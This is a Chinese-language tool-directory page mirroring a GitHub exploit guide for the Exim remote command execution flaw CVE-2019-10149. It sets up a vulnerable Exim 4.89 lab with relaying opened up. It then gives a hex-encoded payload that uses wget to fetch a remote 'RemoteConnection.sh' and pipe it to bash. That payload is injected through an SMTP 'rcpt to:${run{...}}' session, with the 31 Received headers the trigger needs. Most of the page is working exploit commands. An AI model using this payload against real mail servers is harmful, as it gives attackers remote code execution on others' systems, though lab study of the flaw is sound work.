Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2019-10149 — CVE-2019-10149 | Kitploit
工具/GitHubGitHub/hyim0810/cve-2019-10149
漏洞分析漏洞利用渗透测试命令与控制学习与教育实验室与实践
GitHubhyim0810/cve-2019-10149

CVE-2019-10149

CVE-2019-10149

查看仓库
2年前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2019-10149 - Exim 4.87 < 4.91

安装易受攻击版本的 Exim 及其利用说明 已在 Ubuntu 16.04、Exim 4.89 上测试

Exim 安装

下载并解压 exim 4.89 版本

  • wget https://github.com/Exim/exim/releases/download/exim-4_89/exim-4.89.tar.xz && tar -xvf exim-4.89.tar.xz

进入解压后的文件夹

  • cd exim-4.89/

复制并修改必要的配置文件

  • sed -e 's,^EXIM_USER. * $,EXIM_USER=exim,' Local/Makefile src/EDITME > Local/Makefile

  • cp exim_monitor/EDITME Local/eximon.conf

创建 exim 用户和组

  • sudo groupadd -g 31 exim

  • sudo useradd -d /dev/null -c "Exim Daemon" -g exim -s /bin/false -u 31 exim

安装依赖

  • sudo apt-get update
  • sudo apt-get install -y make build-essential libpcre3-dev libdb-dev libxt-dev libxaw7-dev

安装 exim 4.89

  • sudo make install

编辑 /usr/exim/configure 以允许中继,这样我们无需等待7天即可利用

  • sudo sed -iz 's/domainlist relay_to_domains =/domainlist relay_to_domains = * /' /usr/exim/configure
  • sudo sed -i '/hostlist relay_from_hosts = localhost/c\hostlist relay_from_hosts = 0.0.0.0' /usr/exim/configure
  • sudo sed -i '/require verify = recipient/c#require verify = recipient' /usr/exim/configure

以 exim 用户身份运行 exim

  • sudo -H -u exim /usr/exim/bin/exim -bd -d-receive

构造利用

将你的 shell 命令转换为十六进制。示例:

  • /bin/sh -c “wget https://raw.githubusercontent.com/hyim0810/CVE-2019-10149/main/RemoteConnection.sh" -O - | bash
  • \x2Fbin\x2Fsh\t-c\t\x22wget\t\https\x3A\x2F\x2Fraw\x2Egithubusercontent\x2Ecom\x2Fhyim0810\x2FCVE\x2D2019\x2D10149\x2Fmain\x2FRemoteConnection\x2Esh\t-O\t-\t\x7C\tbash\x22\

转换示例表:

  • \t-c\ = -c
  • \t= 空格
  • x20 = 空格
  • x7C = |
  • x2F = /
  • x3A = :
  • x2D = -
  • x3E = >
  • x26 = &
  • x22 = "
  • x2E = .

利用方法

首先我们使用 nc 连接服务器。

  • nc 192.168.0.168 25

连接成功后,我们发送 HELO。

  • helo localhost
  • (回复: 250 exim Hello localhost [192.168.0.168])

接下来,将发件人地址设为空。

  • mail from:<>
  • (回复: 250 OK)

然后,设置收件人地址,并在其中(省略号处)插入我们之前制作的payload:rcpt to:${run{...}}@localhost。

  • rcpt to:<${run{\x2Fbin\x2Fsh\t-c\t\x22wget\t\https\x3A\x2F\x2Fraw\x2Egithubusercontent\x2Ecom\x2Fdarsigovrustam\x2FCVE\x2D2019\x2D10149\x2Fmaster\x2FRemoteConnection\x2Esh\t-O\t-\t\x7C\tbash\x22}}@localhost>
  • (回复: 250 Accepted)

最后,我们先输入 DATA,接着输入31行,一个空行,以及一个点号。

  • DATA
  • Received: 1
  • Received: 2
  • Received: 3
  • Received: 4
  • Received: 5
  • Received: 6
  • Received: 7
  • Received: 8
  • Received: 9
  • Received: 10
  • Received: 11
  • Received: 12
  • Received: 13
  • Received: 14
  • Received: 15
  • Received: 16
  • Received: 17
  • Received: 18
  • Received: 19
  • Received: 20
  • Received: 21
  • Received: 22
  • Received: 23
  • Received: 24
  • Received: 25
  • Received: 26
  • Received: 27
  • Received: 28
  • Received: 29
  • Received: 30
  • Received: 31
  • .
下载工具